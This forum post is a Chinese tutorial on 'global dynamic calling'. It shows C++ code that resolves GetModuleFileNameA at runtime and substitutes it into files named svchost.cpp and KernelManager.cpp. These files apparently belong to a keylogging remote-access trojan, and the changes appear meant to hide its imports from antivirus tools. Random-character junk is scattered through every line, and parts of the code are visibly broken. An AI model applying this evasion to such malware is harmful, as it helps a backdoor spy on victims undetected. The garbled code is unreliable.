返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记" b% V8 D+ E1 q) j$ G
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h+ z3 O9 w4 m- H4 W3 j  p) _
----------------------------------------1 a9 C6 h) Y: q# g8 |; z) ?
DTDY.h:
, A6 L9 @- Q" Y0 B6 e/ c
/ ]# a4 G6 D8 v- F' l& v#if _MSC_VER>1000
! j+ r7 q$ x. C#pragma once. q+ _% ?* g) x7 |; a" m
#endif //_MSC_VER>1000
0 y$ w3 L' y5 ^#include<windows.h>9 W; v0 L; X1 t3 Z

# [2 a, E3 K; J: @. \$ Q) ktypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);6 z) W- G/ h2 |9 s; I
class DTDY
9 e: A* C( ~$ f) A{
/ v, q* {  O8 R* k1 J+ P6 i$ wpublic:
& x- P- G4 x* M* ^DTDY();2 I: q1 W8 s+ ?% a) G6 C7 J
virtual ~DTDY();
- N7 u2 U; w  V5 l1 @) Rpublic:
7 L# a7 W3 `; C$ j) T: b6 f/ v* qstatic pGetModuleFileNameA MyGetModuleFileName;
6 W. u% a. C* y" ?static BOOL FunInitiallization();
, r1 \3 O5 B' k  ?};
% M& v/ a4 D( w* d2 |#endif- }' V8 S- R/ K  O
----------------------------------------
0 q+ o+ Y9 P6 B$ N; b  L2 M- O/ X7 k+ N! o
DTDY.cpp:7 t6 Q0 p' a. F/ }

. y* S6 B9 u! n6 f2 M#include "DTDY.h"
  A! u! h( x1 R3 v5 A5 apGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
% n$ D/ @1 ^9 _' O' u* U2 cDTDY:TDY()# s* D- P5 G7 ?0 `' l* H! Q
{( X8 l1 s$ }9 G! T) ^0 ]
}- Y9 O  c) m# |$ {
DTDY::~DTDY(), g3 r- f% C$ A1 k2 Z
{* w9 Q6 Y4 S- j
}! T6 k3 v$ {) b9 P- g- b
BOOL DTDY::FunInitiallization()
$ q6 D) Y3 I( X{
# U3 J2 a; L* {, U3 W* ]HMODULE hModule=LoadLibrary("kernel32.dll");( T* C+ H8 r  m/ y4 b
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");) Y4 _9 F/ T6 ?
if(!MyGetModuleFileName=) return FALSE;: I. ]$ m6 m9 X- \, R* E! ?
: q, X* n) t$ p( w' O
return TRUE;
% [* I, }( E1 p( [) H: M9 y1 D}
2 _0 E. d% |( [, ^5 O& B) j----------------------------------------
7 _0 [6 _% w# j1 b9 Y" nsvchost.cpp:
/ @9 e$ B' M: L5 n) r7 B# }6 o$ m6 ?1 y
#include "DTDY.h"
8 J; w0 R! H( e  m/ u
8 g2 t- ~5 B0 F8 ~8 |% PBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)% O' \# a& s; f( L
{% z/ `, y, N+ m
switch(ul_reason_for_call)
/ m% V2 S! T6 Y  p2 {  y0 S' G& U, ~{
- z- m, r5 K. `( tcase DLL_PROCESS_ATTACH:; A' S% Q/ _+ @2 b. _
if(!DTDY::FunInitiallization()) return FALSE;* C$ |6 s. j9 Q8 V8 _* C% P

1 n2 E1 D, B6 h4 `0 J- T5 L2 Ubreak;* y0 z2 S- b/ D( A2 B
}9 i- X( C1 N! j
}
; i7 U- X7 I0 c7 P1 a1 e. Q6 P; n7 W" c3 v' ], V- E

' L! @9 R' e  ?5 ]GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def: i8 y; j' {3 m
改写为
0 y8 ^% [# N) t% {DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));- c0 \2 U/ V* _# {* }- ~: v% e
----------------------------------------
8 y* `' v+ l1 O- q! K. MKernelManager.cpp:
1 S5 u4 q! v, A0 V, }
7 [( Z! S8 w' G! o; B6 H#include "../DTDY.h"
* }  ?2 p/ _" ?8 m+ s8 Q. R1 x9 bGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
! B% G+ y" O& q$ T改写为
7 @( w6 d/ \+ L( G% vDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));! U- Y* S5 P( ?: J$ E
----------------------------------------

返回列表